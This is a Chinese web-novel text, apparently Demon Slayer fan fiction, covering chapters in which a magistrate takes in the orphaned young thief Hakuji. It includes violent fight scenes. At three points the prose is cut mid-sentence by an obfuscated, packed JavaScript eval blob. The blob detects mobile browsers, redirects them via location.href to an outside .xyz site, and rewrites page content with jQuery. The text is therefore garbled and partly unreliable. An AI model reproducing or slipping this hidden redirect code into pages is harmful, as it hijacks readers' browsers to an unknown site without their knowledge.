《死心塌地上弦鬼养成日记》 3. 饭团 柜子里的铜币一扫而空,银货也少了一点。 白城并不意外,半躺到旁边的榻榻米上,跟着颅内的系统有一搭没一搭地对话。 “技能是坐山高,那怎么样才能绑定山啊?” “山要是现实的山吗?可以是人吗?” “你看刚刚那个叫狛治的小孩怎么样?” “别看他现在还小,以后可是赤手空拳掏了67个大人的心肺。” “一个人进了剑术道场,徒手破坏那群做尽坏事的剑士们的头部和内脏,大部分尸体不成原形,下巴、脑浆、眼球、手脚、内脏飞溅,粘在了天花板和墙壁上。” “是个很厉害的小孩。” “你说把他当作山怎么样?系统你说句话啊。” 白城有一搭没一搭地在脑子里戳着系统软糯Q弹的身体。 系统东倒西歪,但硬是蹦不出一个字,仿佛最初的对话都是白城一个人的幻觉。 狛治现在在干什么呢? 应该看到了父亲的尸体, 已经拆开了父亲留给他的最后一封信吧。 屋外的斜阳染出瑰丽的红,算算时间,狛治现在应该刚把父亲的遗体埋到石塔下。 穿堂风卷起了庭院里的落叶,拂动了衣袖,香炉清烟袅袅,白城走到书房,把这段时间在城里大肆劫掠的武士列了个名单,写下了批捕状。 幕僚在一旁胆战心惊。 “大人,这位名为宫铃的武士是上位奉行大人的亲生儿子。” “哦?”白城微微一笑,“所以呢?” “在我的城里就要守我的规矩,我已经给过面子了。” “明天看起来像个良辰吉日,就把他们都关进大牢里吧。”白城略微思索,轻飘飘地扫了眼幕僚,“我跟你们一起,不要走漏了风声。” “是。”幕僚对上眼神,不由得冒出冷汗,收了别的心思。 “大人!大人!城头东边,一个小孩跟武士挑衅,现在突然打起来了!” 第二天一早,白城刚到奉行所就看见幕僚火急燎燎地跑进来。 白城刚刚束好自己的长发,“带上捕吏,我去看看。” 闹事地点离奉行所并不远,江户时代的武士地位崇高,住所多分布在奉行所周边。 隔着老远就看到一个穿着褐色长袍的小孩提着拳头往一个武士的脑袋上揍。 “住手!”旁边的捕吏亮着刀便要上前。 白城拦下了。 “先疏散人群,不急。”白城笑眯眯的。 “去死吧!”伴随少年一声怒吼,一拳就擂上了武士的脸颊。 人的皮肉在空中荡出波浪,还没发育完成的矮小身体抓着武士的领口,一拳接着一拳地往人脸上砸。 鲜血与汗珠齐飞。 旁边的武士悄悄后退半步,从身后抽出一把匕首,猛地从刀鞘里拔出。 狛治回身一脚踏上身后的井沿,借力飞身而起,像炮弹一样死死卡着人的腰,将人飞扑撞进木屋墙面。 而后从人身上一撑跃起,调整姿势,又恶狠狠地冲向另外两人,一脚踏地尘土飞扬,衣袍在空中像是蝴蝶的翅膀,他高高跃起一拳砸上人的脸颊,右腿在空中一脚踹上另外一人的下颚。 “真狠啊。”白城点评。 “这个鬼崽子!偷钱还不够,居然还来挑衅武士,应该砍断他的……” “很有天赋吧。”白城欣赏着狛治打架的场面,“这个小孩。” 幕僚恶狠狠的帮腔卡在了喉咙里,而后像个鹌鹑一样,“确实,不像常人。” “你说做我的义子,合不合适?”白城有些开心地勾了勾唇角。 “大人!这可是罪人!于理不合!”幕僚瞪大了眼珠。 白城不知道有没有听进去。 武士一个个□□倒在地,狛治抓着武士的脑袋,一个膝盖顶上人的面门,伴随人像面条一样软软瘫倒在地的身体,剑术道场的援兵也赶了过来,齐刷刷的脚步声由远及近,一群人高马大的武士拿着佩剑将狛治团团围住。 “你个偷东西的鬼崽子!上次没挨够打吗?”为首的木村,狛治认识。 “上次是不是跟你说过,以后躲着我走,再见撕烂你的嘴?” 之前这个道场的五个人设下埋伏,控制住狛治的四肢,供木村揍了狛治一天。 从正午打到天黑,肋骨断了一根,爬都爬不起来。 狛治面无表情,视线从众人握着刀柄的手上扫过。 对面一旦攻上,就是腹背受敌。 要先抢一把刀。 “看来上次还是下手轻了,不如这次砍断你的四肢吧!” “啊?”木村狞笑着提剑靠近。 狛治脚步微移,眼波一转,以雷霆万钧之势踏地而起!整个身体飞跃在空中,扑向木村的手臂,抱住他的右手,一个手刀狠狠劈上木村的手腕。 木村一声惨叫,手腕一麻,没人操控的剑便要下落。 狛治灵巧地接握剑柄,双腿在空中划出一道圆圈,灵巧落地,刀柄立起,环顾四周。 “还愣着干什么!给我上!”木村捂着自己的手腕哀嚎。 黑压压的人群开始向前逼近,千钧一发之际—— “是啊,还愣着干什么?”白城笑眯眯地看着捕吏们,“光天化日寻衅滋事,我看不少人还在批捕状上。” “五条,把这些人都押回大牢,核对名单后,该放的放,该杀的——杀。” 面色白如玉,音调轻缓平稳,却让在场所有人背后顿生鸡皮疙瘩。 武士被缴械,狛治也缓缓放下了自己的刀。 听话的孩子。 真识时务。 白城低笑,扭过头去没让狛治看到。 鬼崽子平日里可不是那么容易束手就擒的人——鳗鱼饭到底还是香啊。 深夜,夜寒,烛火的剪影在跳动。 白城抬手拨开窗户,已经入秋,到底是有些凉了。 幕僚刚核对完卷宗,准备下班回家。 白城招手叫他来,“夜深,外面风大,叫小黑给你备件外套。” 幕僚有些感动,“不必了,奉行大人,我……” “狱舍湿冷,狛治好像也没穿什么厚衣服,你也顺道给他送一件去吧。”白城接着道。 感动收了回去。 幕僚打着灯笼,顺着石阶而下。 白天抓的武士要等到明早才能放出去,他今晚才核对完名单。早在下午的时候,他们的家人便送了银两来打点,此刻一个个都躺在褥子上,睡得昏昏沉沉。 五条幕僚走到最里间,在昏黄的光里对上了小孩似鬼一般生冷的眼神。 他皱眉,从栏杆缝隙把叠好的大衣递了进去。 狛治扫了一眼大衣,移开视线,靠墙抱着膝盖不语。 “奉行大人爱民如子,还特意让我给你送来衣物。” 狛治三天两头屡次犯事,事实上就连五条都已经眼熟了这个远近闻名的鬼崽子。 “好好反省,以后要踏实工作!” 狛治并没有动弹。 五条皱眉,没有多少耐心,并未多说,只是蹲下身把大衣整齐地放在地上——奉行大人的衣物到底不能随意糟蹋。 而后就扭头回家了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286291|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还要回家喝老婆炖的汤,这个点回家,还能在宝宝睡觉之前跟她玩闹一会。 等白城忙完手头的公务已经接近子时了。他伸了个懒腰,思来想去还是决定去监牢看狛治一眼。 牢房里只有大汉雷响般的鼾声,高低交错,张弛有度。 狱卒都睡着了,没有发现白城的到来。 里间的狛治靠在角落,漆黑的影子投在墙上,随着烛火晃动着。 旁边还有一只骨瘦如柴的大黑耗子,他团坐着,脑袋搭在膝上,侧头用指尖指尖逗弄着那个小玩意。 叫幕僚送来的衣物在他身边,整齐地叠放着,却并没有被使用。 “还不睡?”白城用备用钥匙打开了牢门。 狛治有些意外,狭长的睫毛抖动两下。 “伤势已经完全好了。”白城简单确认了两眼伤口,“恢复得很不错。” 狛治充耳不闻,低头玩着老鼠,甚至把它捧到怀里抚摸。 白城低声咳嗽了一下。 狛治立马抬头。 对上眼神,他很清楚地看到白城笑了。 他闷闷把老鼠放走了。 “不开心?”白城也跟他一起靠着墙,准备坐下。 “等一下。”狛治终于出声,把白城送给他的衣服在地上铺好,“坐吧。” 白城倒不是很介意,坐在左边,空出了一个人的位置,“你也过来吧,地上凉。” “我不怕凉。”狛治拒绝。 “所以还是凉的吧。”白城笑眼弯弯,带上了些许祈愿式的命令,“过来,我想和你坐在一起。” 狛治起身,不着痕迹地摸了摸屁股。 露水湿重,坐在地上的地方已经湿了。 他又一屁股坐了回去,不说话。 白城伸手去拉他,“没事的,明天洗干净还我就好了。” 磨磨蹭蹭得磨蹭,反正最后磨蹭到大衣上了。 白城从兜里掏出一个饭团,“一天没吃东西?” 看着白城一直举着,他硬憋出一句,“不饿。” 话音未落,狛治肚子就叽里咕噜叫了一声。 白城夸过,他是个识时务的孩子。 狛治盯着烛火,小口吞着饭团,冷不丁开口,“我偷了你的钱。” “嗯。”白城道。 “足以买下我这双手的钱。”狛治说。 “两银十七文。”白城道,“你认为的——你双手的价格?” 狛治吞下最后一口饭团,从口袋内侧,把银豆子和铜钱翻出来,一颗颗摆在大衣上,然后把自己的双手平举到白城的眼前,“全部都在这里了。” 看白城并不说话。 他轻声重复着白城第一天时念的台词,“扒手的刺青,你双臂上已经有三条线了,再有下次,就砍掉手腕。” 白城笑了,总之见到狛治的每时每刻,他好像都在笑。 “一字不差,记性不错。” “我想想……由于你屡次犯事,按律法,应该被逐出江户。” 狛治面无表情。 “在城外流浪,就不能跟爸爸生活在一起了。”白城道。 狛治的手猛地一颤。 “可以告诉我,你偷钱想要去买什么吗?” 少年的头颅垂了很久,很久很久。 他的肩膀有些颤抖,可白城并未催促。 两人一起靠着阴冷的墙壁,待了接近半个时辰,隔着布料能感受到少年的体温还有粗重的呼吸。 过了好久,狛治抬头,眼底麻木,有死寂的哀伤, “不在了。” “爸爸不在了。” 4. 忍耐 凌晨四点多的时候,狛治靠在墙上睡着了。 垂着脑袋,睫毛睡梦中还在不安地颤抖,白城把自己的外套脱下来,轻轻披在了小孩身上。 “走了走了!” “不在名单上的都可以走了。”捕吏吆喝着,一个个打开牢房门。 钥匙和铁链碰撞叮当直响,声音由远及近越来越大,狛治猛地惊醒,有些茫然地睁大了眼。 “你可以走了。” 狛治听见捕吏嘀咕,“真是奇怪,原本应该逐出江户的,不知道大人怎么还留这小子在城里。” 披在身上的外套入手柔软,浸着淡淡檀木的清香,狛治下意识地扭头去看身边——昨晚奉行坐的地方如今空空荡荡。 如果不是鼻尖环绕的真实的味道,和手中昂贵布料的触感,他都要怀疑昨晚的一切是自己的一场梦。 奉行大人晚上来给毫无背景的扒手送衣送饭。 说出去都要被人笑掉大牙,问是不是被打坏了脑子。 他图什么呢? 狛治不由得想。 但不过思索两秒便放弃了。 无所谓了,图什么都无所谓了。 他叠好衣物,放到捕吏们常常喝酒的桌上,“这是你们奉行的衣物,你记得转交。” 捕吏正在跟武士前倨后恭地说话,没分给他半个眼神。 “这是奉行的衣物,麻烦你们转交。”狛治又重复了一遍,额头青筋直跳。 武士和捕吏没人分他眼神。 他在原地站了许久。 “奉行的衣物,转交,懂吗?”狛治踩着凳子一跳,掐着捕吏的后脖颈就往地上拽。 捕吏吃痛,才扭头看他,“你小子活腻歪了是吧!” 正要亮剑,余光扫到鬼崽子怀里抱着的白色衣物一角,他揉了揉眼,确认是奉行大人衣物上特有的金丝暗纹。 “你们奉行大人的衣物,帮我转交。”狛治看他没有动手的打算,最后交代了一句,踏上石阶往外走,拉开木门,刺眼地阳光害得他不住眯眼。 门外人声熙攘—— “饿了没?我做了饭团,你先垫垫。”有妻子心疼地捧着刚刚出狱的武士脸左看右看。 “叭叭——你昨晚怎么没回家。”有小孩跌跌撞撞地往武士怀里冲,后被一把抱起架上肩头。 狛治面无表情地穿过人群往外走。 穿过那些聒噪的,恼人的声音。 然后在人群的尽头,看到了白城。 白城的周身围着幕僚和捕吏,像是在交代什么事情。 狛治扫了一眼,没有停留,只是往外走。 等白城抬头的时候,小孩已经走远了。 白城摸了摸袖子里特意塞的一块饭团,不由得哑然。 “大人?怎么了?”五条看白城有些走神。 “没事。”白城轻轻摇头,“你继续说。” “最近城里上报的盗窃案越来越多,但凶手却始终不见踪影,我怀疑这是有预谋的组织性犯罪。”五条皱眉,“而且有人目击者举报说犯人个子都不大,像是小孩。” “继续调查吧,有新线索再来汇报。” 想来接的人已经走了,白城也不再原地停留,带着幕僚往奉行町里去。 “是。” 再见狛治是当天下午。 五条幕僚进来,顺便把手里洗的干干净净的饭盒交给了小黑。 “饭盒哪来的?”白城注意到了。 “您上次席间不是给那个鬼崽子送了一份饭吗?我进来的时候看鬼崽子跟门口的守卫都要打起来了,就顺便帮他送进来了。” “他人呢?” “走了吧。”五条到书案前坐下。 白城有点被气笑了。 这些天,他怎么问系统——技能怎么使用,系统都不回答。 眼看30天的血色倒计时越来越近,再不跟狛治接触找到更多线索,估摸着30天后就会被无惨找到干掉。 “把人叫回来。”白城吩咐五条。 刚刚坐下的五条讶然抬头。 “我找他有事。” 上司一句话,下头跑断腿。 提着袍裾往外追的时候,五条就在骂这个鬼崽子怎么走得这么快。 好在在分岔路口逮到了人。 “奉行大人有事找你。”五条气喘吁吁地去抓狛治的肩膀。 还没搭上就被抓住了手腕。 狛治侧头看他。 五条有些厌恶地把手抽了回来,理了理袍子,面色倨傲,“跟我走。” “滚。”狛治头也不回,留五条一个人在原地瞠目结舌。 狛治怎么也没想到,奉行会追到家里来。 躺在地板上发呆的时候,鼻尖就闻到一股檀香,而后视野里闯进了纯白的袍子,雪白的发尾像光一样整个照亮了昏暗的屋子。 “见你一面倒是难。”白城声音温润。 狛治一个翻身坐起来,“你来干什么?” 后觉语气生硬,便不说话了。 “五条叫不动你,所以我来了。”白城收起了折扇。 “我以为他是唬我的。”他起身想给白城倒水,“您找我有事吗,饭盒我已经叫幕僚还给您了,衣服也已经交给捕吏了。” 他打开木箱,里面只有父亲喝药的碗。碗底常年被药渣浸着,都有些泛黑了。 嘴唇抿了抿,狛治又把箱子合上了。 狛治家里并不大,只有6-7平的样子,门外有生火取暖的灶台,屋里墙角摆了两个木箱,上面有些取水的陶罐,屋子内侧铺了榻榻米,长年使用被磨得泛白,看得出来有人悉心打理。 中央有一张矮桌,再往里铺了布团和被褥,平时睡觉的时候就铺开,白天不用就把它靠墙放着。 “你父亲呢?”白城明知故问。 “死了。”狛治生硬回答,甚至扯出了个恶意的笑,“就吊死在你现在站着的地方。” 说罢又有些后悔,于是闭嘴。 “我可以打开看吗?”白城并不介意,自顾自地走到箱子面前。 这是狛治他们家,唯一一个可以储物的地方。 狛治没有说话,白城便当他允许了。 木箱不重,是周边常见的杉木板拼的,边角用钉子钉得死实,岁月磨得木纹发灰。 打开扑鼻就是药香,一包包用麻袋或纸包的甘草药按照不同类别整齐地被收纳在箱子里,旁边是叠好的旧布衣。 “贵吗?”白城把药一包包拿出来,分辨品种后又放了回去。 除了最基本的艾草芦根之类的草药外,还有纸包的一小撮药研成的粉末,甚至还有特别昂贵的丸药。 白城打开纸包嗅了嗅,大多是甘草粉,用于止咳的。 狛治就坐在榻榻米上看他,一语不发也不拦。 “很贵吧。”白城轻叹,把药物重新包好,放了回去。 “草药是我自己摘的,散剂五文一袋,没什么作用。” “能让父亲身体好些的只有那个丸子。”狛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297036|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 治声音平淡,“3两9文,一包十粒,省着也不过吃二十天。” “所以才去偷钱吗?”白城问。 “一两是四千文。” “凌晨爬起来送豆腐,一天3文;帮人挑粪水下肥,一天1文;如果撞上有木匠要送打好的家具,从城南背到城北,多的时候能赚3文。” 近乎残忍的数字。 “我不能看着爸爸去死吧。” 白城扭头看他。 小孩站在地上,面色很平静。 “爸爸越来越瘦,后背上的骨头都快戳破皮肤了。” “挨打的时候,捕吏每一次每一次都重复着一样的话。” “烦得像是恼人的苍蝇,嗡嗡嗡嗡让我好好工作。” “可钱根本不够啊!药很贵啊!” “我只是想把父亲治好,我有什么错?” “我从早上就出门去送豆腐,忙到凌晨回家,钱还是不够啊!” “那些该死的武士一顿饭就能吃掉父亲好几天的药钱。” “我偷又有什么错?” “穷人连活下去都不被允许吗?” “受的偷窃的刑罚根本不重,就算被鞭子狠狠抽打,就算骨头被打断,我都能忍受。” “爸爸根本不是累赘。” “他又为什么要道歉呢?” “我根本不在意这些,偷也好抢也罢,我只想要治好爸爸,哪怕死了都没关系。” 狛治走到白城面前,抓住了他的袍子,蓝色的瞳孔裂到最大,仰头问他,“可他为什么……” “为什么要道歉呢?明明爸爸什么都没有做错。” “为什么会死呢?明明他连一只蜘蛛都舍不得杀。” “又为什么要丢下我离开呢?明明我一点都不觉得苦,明明我还能继续忍受下去,忍受到长大,忍受到我死的那一天为止。” “你能告诉我吗?为什么?” “为什么他会自杀!” “为什么当时,我不在他身边!” “为什么我连父亲的最后一眼都没见到!” “明明早上出门的时候……出门之前,他还好好的摸了我的脑袋啊!” “为什么!” “为什么啊?” 他才11岁,一米五的个头,眼眶里没有眼泪,仰头看向白城的蓝色瞳孔里,痛苦近乎满溢出来,眼底尽是不解的疑惑。 “因为他爱你。”白城抬手,轻轻落在狛治的头上,“就像你爱你父亲,愿意为了他去死一样,他也爱你。” 狛治茫然抬头。 “所以才一直道歉,才克服了对死的恐惧,才不舍得你再为了他继续忍耐下去了。” “可……忍耐有什么不对吗?人生下来不就是来忍耐的吗?我还可以继续忍耐下去,只要父亲还在我身边。” “他又怎么舍得坐在病榻上,看你早出晚归去给人挑粪去受尽冷眼。”白城蹲了下去,半跪在地上,捧着狛治的脸蛋,跟他对视,“没能让你拥有一个无忧无虑去玩耍的童年,他一定很自责。” “他从来都没有抛下过你。” “他很爱你。从始至终,都很爱你。” “你已经做得很好了,父亲一定是感激狛治的。” 白城掌心的温度沁入皮肤,就一瞬,短短的一瞬,豆大的泪珠从眼眶里溢出,然后就一颗接一颗连成串地往下砸。 狛治听到白城说—— “这不是你的错。” “是这个社会的错。” 5. 迷惘 阴雨连绵的天。 狛治跟着白城走在木质长廊里。 “看你睡着了就自作主张把你抱回来了。” 花费了系统1点能量值。 狛治抱着白城哭睡着的时候,系统颁发了奖励,抠门得要死,但白城花得大方。 “小黑照着你的身量,给你做了几件衣服,不过还要过几天才能穿上。”白城施施然走在前面,“这段时间就跟我生活在一起吧。” “你还没告诉我你的名字。” 狛治一言不发地跟着。 “公事方御定书和审讯笔录上确实都有。”白城并不介意,推开了书房的门,扭头看他,“不过我想听你亲口跟我说。” 闷葫芦嘴唇抿得死紧。 白城只当他害羞,把手上的烛台放好,研磨提笔,在和纸上落下“白城”二字,“我的名字。” 字迹清瘦而劲挺,结构周密暗藏锋芒。 哪怕狛治不识字都知道这书法功力,非朝夕能成。 “我叫白城。白天的白,城池的城。”将毛笔挂上,白城捻起纸晾了晾,递给狛治。 狛治默默接过和纸,还在仔细看墨迹在纸上晕染的模样,下一秒就被清瘦的手把头发揉得乱糟糟的。 狛治皱着眉抬头。 意外对上奉行大人笑得弯弯的眉眼,以及难得有些孩子气的评价,“像个鸟窝。” 狛治微微扩大的瞳孔里倒映着奉行的影子。 事实上狛治的头发像他的脾气一样刺挠地有些扎人。 白城不着痕迹地揉了揉自己的掌心。 “等你想告诉我的时候,”白城指尖轻点这张纸,“还我一张写着你名字的字吧。” “小黑,带他去他以后的房间看看。” “我这边还要处理一点事情。” 小黑应是,“这边走。” 狛治下意识地跟着小黑走,好一会才回过神,跨过门槛才扭头蓦地问他,“你要我做什么?” “你能做什么呢?”白城视线从卷宗上挪开,抬头看向门外的狛治,“有什么你擅长的事情吗?” 狛治垂眸。 擅长? 自己人生的前十一年有什么擅长的事情吗? 手很快,擅长偷窃。 恢复很快,擅长打架。 都不是什么对奉行有用的技能,唯一值得拿出来说的,便是擅长照顾病人吧。 但……狛治的视线又落在小黑身上。 小黑眼观鼻,鼻观心,并不跟他对视。 小黑是贴身随侍,平日里奉行起居内务大大小小的事情都是他在负责。 贴身近侍往往是奉行的家臣子弟,贴身心腹,远不是自己这个罪人能够担得起的。 白城并不需要自己的照料。 他不算健康,却并不弱小。 狛治清晰地知道这一点。 “不急,慢慢想吧。”白城给自己添了点茶水,“你还小,有的是时间去慢慢思考。” 思考什么呢? 什么叫思考呢? 狛治第一次感受到无所事事的困惑。 记忆里,这是他第一次不用在鸡还没鸣叫之前出门干活,第一次不用为中午吃什么而发愁,第一次不用想着爸爸的医药费该怎么办。 吃饱,穿暖,喝足。 奉行所的一切都比曾经好上太多。 他第一次意识到原来生活可能并不需要忍耐。 可当身体的一切基础需求开始满足,他开始生出些虚妄的迷惑来,他的灵魂好像开始叫嚣些什么,但他不明白。 这里没有需要自己保护的人。 狛治感受不到自己存在的意义还有价值。 白城把他的一切困扰看在眼里,却并没有多加干涉。 迷惘很好打散,只需要让他去素流道场见到恋雪,少年的迷惘便能烟消云散。 可白城不想,也不愿这么做。 他不愿意狛治再回到那个通过忍耐自己,照顾一个人,从而感受到自身价值的循环里去。 他想要狛治真正思考——他真正想做什么。 想成为什么样的人?做成什么样的事? 想要少年靠自己重新拾起被生活压在地底打碎搅烂了的骄傲和尊严。 迷惘是灵魂的试金石,虽然痛苦,但在进步。 至于素流道场他会让狛治去的,但不是现在,至少还不是没养成少年心气的现在。 少年理应脚踏七彩祥云,身披金甲圣衣,去见心爱的人吧。 正午了,天上乌云密布不见天光。 狛治感觉时间到了,从柜子里翻出之前盛鳗鱼饭的餐盒,叼着根不知道从哪来的狗尾巴草往厨房去。 如果奉行大人不叫自己一起用膳的话,那群侍从是不会提醒自己的。 但他也不介意。 厨娘虽然不会跟他说话,总是站在旁边打量自己,但每餐还是照常备着。 对狛治来说,有的吃就行,旁人的眼光也不甚重要。 今天没出太阳,进厨房的时间掐早了。 仆役们正好在分饭的时候,厨房里热闹得很。 狛治提着刚劈的干柴随手放到柴堆里,而后面不改色地往灶台那里去,所过之处鸦雀无声。 厨娘掌着大勺正在分餐呢,抬头撞见他过来了,一怔。 狛治看着一排排等待分餐的空饭盒,知道还没轮到自己的。 他把自己的饭盒放到角落里,嘴里叼着的狗尾巴草挑了挑,便往后门去了。 方一出门,背后就出现细细簌簌议论的声音。 一群苍蝇,吵死了。 狛治坐在门槛上仰头看天,但天也没什么好看的,最后盯着檐下的积水,雨滴一连串地砸进去,荡起一层又一层的涟漪。 “欸……” 有人拍了拍自己的肩膀。 狛治抬头。 厨娘有些局促地擦了擦手,手里捧着狛治的专用饭盒,“你的饭。” 狛治有些意外地接过,往灶台边瞟了一眼,明明还有很多空饭盒在排队。 “你劈的干柴都很好用,一点就着。”厨娘挤出一个笑来。 “谢谢你。” “多加了个鸡腿。”厨娘小声,“趁热吃,以后不用最后来,都凉了。” 分明当时平静无风。 可少年兀地睁大了眼。 热度从木壁上透进捧着饭盒的掌心。 温温的,烫烫的。 狛治坐在门槛上吃完的那一顿饭。 吃得很慢,筷子夹干净最后一粒米的时候,厨房的侍从都离开了。 饭盒盖上一瞬,头顶的天——亮了。 狛治挽起袖子,将米糠揉在碗壁上搓净,青色的经络顺着少年的腕骨蜿蜒至精瘦的小臂,正午的第一缕阳光破云而出,照在亮晶晶的水洼上,折出七彩的光来。 洗净自己的碗后,他默默在厨娘身后站了一会,“我可以来帮忙吗?” 厨娘惊讶回头。 “大铁锅,我可以洗。”狛治指了指,而后有些局促地收了回来。 “太谢谢你了!”厨娘惊喜,满面笑意做不了假,“这锅又大又重,每次我都得转着洗,不然擦不干净里面。” 狛治接过木糠,三条环形的刺青随着动作露了出来,他用手一点点地用木糠顺着锅壁清洗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304961|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 厨娘给他搬了个凳子,“踩上去,高一点会更方便。” 狛治仰头看她,“谢谢。” 有些拗口,所以声音很小。 “不客气。”厨娘沾着水的掌心拍了拍少年的肩膀,“好好加油哦!” “嗯/。”狛治垂眸,很仔细地擦着锅壁的每一个地方。 …… “太干净了!你洗得特别好。”厨娘验收完锅,非常高兴,而后悄咪咪地从兜里掏出一块小小的方子来,“谢谢你来帮助我。” “要是我家的小孩也像你这样就好了。” 狛治的嘴唇无意识地张开,这是他第一次听到有人说他好。 明明鬼崽子,扒手,罪人叫得更顺口些吧。 “这颗糖是之前奉行大人过年时给我的,一直留着没吃,你尝尝看。” “我家小孩可爱吃这个了,每年过年的时候得到了糖,都跟仓鼠一样囤着,算好一天吃多少。” 狛治低头,方块晶莹微黄,仿佛光也能透过去。 他迟疑地送入口中,舌尖一触,甜味便化开了。 轻柔得像雪,温润甘甜,四面八方铺在口腔每一个角落。 “好吃吗?”厨娘正在洗剩下的餐盒,没有看他。 狛治怔怔抬起眼,这是他第一次尝到饱腹以外的滋味。 蜜一样,流到心底里去了。 “好吃,谢谢您。” “嗐,没事。”水桶里的水碰在壁上哗啦啦得响,“这些天一直下雨,好多柴都不能用,点不着,每次就你的柴都干的,特别好用。” “他们啊,都该谢谢你才对。” “没事的。”狛治看着自己手臂上的刺青,“您喜欢就好。” 出门的时候,天又下雨了。 狛治哒哒哒穿过后院,从自己屋里拾起一把红色的油纸伞,撑开往雨里跑。 白城的书房离狛治的屋子不远,此刻抬着的窗户一眼就能看见少年的模样,“最近他跟下面的人相处的怎么样?” 小黑思考了一会,“不太好。” “您就这么放着他在那种环境下生存吗?” 这些天,奉白城的命令,小黑在教狛治识字,对他改观不少。 “他跟你们不一样。”白城的视线从少年被泥水打湿的裤脚上收回,“习惯忍耐,没那么脆弱。” “是个强大的孩子呢。” “他能处理好这一切的。” “能靠自己赢得所有人的尊重,相处了这么些天,你也应该相信他才是。” 相信少年是火,风一吹,便能燎原。 狛治举着伞,跑到了父亲的坟边。 耳朵和肩膀夹着雨伞,蹲下身用刷子祛了一遍石头上新长的苔藓和污垢。 湿漉漉的掌心贴着石头,自言自语道, “今天厨房的大娘送了我一颗糖。小小的,方形的。可惜没能让你尝尝,很甜特别甜,入嘴就化了。” “她跟我说谢谢,还对我微笑,她说我劈的柴好用。” “嗯……其实我也没做什么。” “热饭还是比冷饭好吃。” “我在奉行的公馆里住得挺好的,有饭吃,有新衣服穿,奉行大人很温柔,小黑大人也是。” “小黑大人前段时间开始教我识字,他说我识字的进度很快,前些天还比划说我长高了。” “他说我正是抽条的时候,要多吃点。” 他一遍又一遍地擦着石头,直到扛着伞的肩膀都有些麻木了,才看着石头上父亲的名字,怔怔问了一句, “爸爸,怎样才算堂堂正正地活下去呢?” 淅淅沥沥的,雨还在下。 6. [锁] 该章节由作者自行锁定 “我啊,也有个孩子。” 厨娘提着桶水在前头走,狛治抱着一捆柴跟在她身后,雨水顺着屋檐哗哗往下流。 奉行公馆里真正接纳他的人不多,奉行算一个,小黑老师算一个,但他们都很忙,现在厨娘也算一个。 锻炼和识字的空隙,他就会来厨房帮工。 “当年逃荒的时候走散了。”厨娘轻叹一口气,“要是长大了,应该跟你一般年纪吧。” 狛治蹲在灶下拿着火箸拨开昨晚留下的灰烬。 取出一撮稻草扭成团,塞进去再压上几根细柴,打火石擦出火花,风吹旺了,便熟练地添上几根劈柴。 木头迸出清脆的爆裂声,灶膛里逐渐亮起温暖的红光。 “要是能跟你一样长大就好了。”厨娘看着他的手臂上的刺青,“要是能长大……就好了。” 到饭点的时候厨房早就排满了队。 狛治跟厨娘一人一个大勺在给空饭盒里添饭。 一群人紧张兮兮全神贯注地盯着台面,等待菜品准备好了,一群人便宛若猛虎下山一般,势如闪电探向先前就锁定好的几个饭盒。 “哈哈哈今天我抢到了幸运的午饭!” 厨娘亲手打的饭很快从台面上清空,剩下的饭盒三三两两地摆在那,仆役们愁眉苦脸地伸手去取。 “怎么又只剩下鬼之盒饭了……” “手又慢了,拿到了不详的饭wuwuwu” “怪不得我今天被小黑大人骂了。” “我已经一个礼拜没有抢到正常的饭了呜呜呜。” 狛治站在锅边的凳子上盯着愁眉苦脸哀嚎的那人。 对上视线,那人默默噤声,而后调动面部的全部肌肉,挤出一个生硬的笑来。 今天做的是麻婆豆腐,锅底还剩下一些。 狛治把最后的豆腐捞进自己的饭盒里,从凳子上跳下来,坐在后门门槛吃。 厨娘虽然有邀请过他去自己那桌吃,但他拒绝了。 但哪怕不坐在屋里,也能听到细碎的声音—— “鬼之子的眼神好可怕。” “他刚刚好像还瞪了我一眼,呜呜呜呜,吓到我了。” “他命真好,一个罪人怎么能得到奉行大人的青睐。” “你说他特意来厨房帮忙,会不会是想来偷吃啊!” 一天天的,只会把这些话翻来覆去地说。 狛治扒干净盒饭,扭头就去锻炼了。 厨娘也能听到这些话,每次饭后都一脸歉意地看他,后来他就不留下来收拾了。 第二天难得放晴,狛治去厨房的时候发现厨娘正指挥着人把铁锅往奉行町门外运。 “去干什么?”狛治问。 “施粥。”厨娘说,“这些天一直下雨,外头的米价都飙到天上去了,奉行大人说是要开仓放粮,临时设了粥场呢。” 狛治跟在后面给她搭把手。 十五口大铁锅,一字排开,临时支在奉行町门外。 一斗米,十桶水,白色的米粒只能在锅底铺出薄薄的一层,米汤稀得能映出人影。 锅边天还没亮就排起了长队,日雇工人,长屋贫民、寡妇、孤儿、老人、灾民、流民,密密麻麻一眼望不到头。手里多捧着个碗,木碗、漆碗、竹碗、铁罐、还有瓦片拼凑起来的陶碗,狛治很熟悉。 